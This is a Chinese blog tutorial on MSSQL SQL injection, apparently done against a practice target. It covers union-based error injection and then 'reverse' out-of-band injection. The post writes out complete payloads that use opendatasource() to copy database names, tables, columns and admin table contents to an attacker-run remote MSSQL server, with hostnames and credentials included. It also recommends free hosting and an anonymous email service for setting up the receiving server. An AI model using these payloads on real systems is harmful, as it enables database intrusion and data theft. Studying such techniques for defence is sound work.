返回顶部

MSSQL反弹注入

 


作者:@Xuno
本文为作者原创,转载请注明出处:https://www.cnblogs.com/MaoheLaoXu/p/17175553.html


MSSSQL注入——反弹注入

我们首先先回顾一下MSSQL普通的显错注入(毕竟MSSQL显错注入和MYSQL不太一样)

我这里还是联合传为例子,首先猜字段,然后联合查询,记住要写union all,然后猜输出点,要使用NULL去填充,注释只有 – +

  1. select name from dbo.sysdatabases 查询系统库
  2. sysobjects 查询系统表 (xtype=‘U’)
  3. syscolumns 字段 (id= ) 指定sysobjects库中表名对应id

先尝试显错注入

‘ and order by 1
判断字段数,发现有3个字段
在这里插入图片描述
‘ union all select id,name,null from dbo.sysobjects where xtype=’U’ -- qwe
查询表名和其对应id
在这里插入图片描述‘ union select null,name,null from dbo.syscolumns where id=1977058079 -- qwe
查询admin表里的字段名

在这里插入图片描述‘ union select null,token,null from admin -- qwe
查询token字段里的数据,得到flag
在这里插入图片描述


这是在网页有输出点的情况下才能进行的,如果没有输出点,那么就可以用反弹注入来进行操作

在这里插入图片描述
原理:反弹注入就是是用SQL SERVER的opendatasource() 函数,将查询结果发送到另外一个SQL SERVER数据库中。从而得到我们想要的信息。

opendatasource函数
语法:opendatasource(provider_name,init_string)
provider_name:
注册为用于访问数据源的OLE DB提供程序的PROGID的名称,MSSQL的名称为SQLOLEDB
init_string:
链接字符串
链接地址,端口,用户名,密码,数据库名
sever=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称
实现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.
建立库和表,方便反弹时写进东西.

我们前面说到,MSSQL注入 — 反弹注入实际就是把查询出来的数据发送到我们的MSSQL服务器上,那么我们需要自己的MSSQL数据库和一个公网IP,第二期我们是官方提供了这样的靶场,但是造成了诸多的不便,于是乎,经过我的各种尝试,我发现可以免费申请一个虚拟空间,然后虚拟空间中开启MSSQL然后直接使用,可以免去MSSQL安装环境并且不需要特意购置云服务器来获取一个公网IP。虚拟空间也可以搭建网站和个人博客,有兴趣可以去尝试


下面是虚拟主机的网站

香港云:http://www.webweb.com/
备用: https://my.gearhost.com/CloudSite
匿名邮箱:http://bccto.me/

MSSQL反弹注入语句解析

server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

insert into
opendatasource(‘sqloledb’,‘server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq’).DB_14A5E44_zkaq.dbo.temp
select * from admin –

查询库名

http://59.63.200.79:8015/?id=1’;insert into
opendatasource(‘sqloledb’,’server=den1.mssql7.gear.host,1433;uid=testwx;pwd=Gc8x!C9O7V6~;database=testwx’).testwx.dbo.test1
select name,null,null,null from master.dbo.sysdatabases – wx

在这里插入图片描述
查询表名输入语句

http://59.63.200.79:8015/?id=1’;insert into
opendatasource(‘sqloledb’,’server=den1.mssql7.gear.host,1433;uid=testwx;pwd=Gc8x!C9O7V6~;database=testwx’).testwx.dbo.test1
select id,name,null,null from dbo.sysobjects where xtype=’U’ — wx

在这里插入图片描述
查询字段名输入语句

http://59.63.200.79:8015/?id=1’;insert into
opendatasource(‘sqloledb’,’server=den1.mssql7.gear.host,1433;uid=testwx;pwd=Gc8x!C9O7V6~;database=testwx’).testwx.dbo.test1
select null,null,name,null from dbo.syscolumns where id=’1977058079’ —
wx

在这里插入图片描述
查询字段内容输入语句

http://59.63.200.79:8015/?id=1’;insert into
opendatasource(‘sqloledb’,’server=den1.mssql7.gear.host,1433;uid=testwx;pwd=Gc8x!C9O7V6~;database=testwx’).testwx.dbo.test1
select *from admin — wx



如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
posted @   Xuno  阅读(31)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示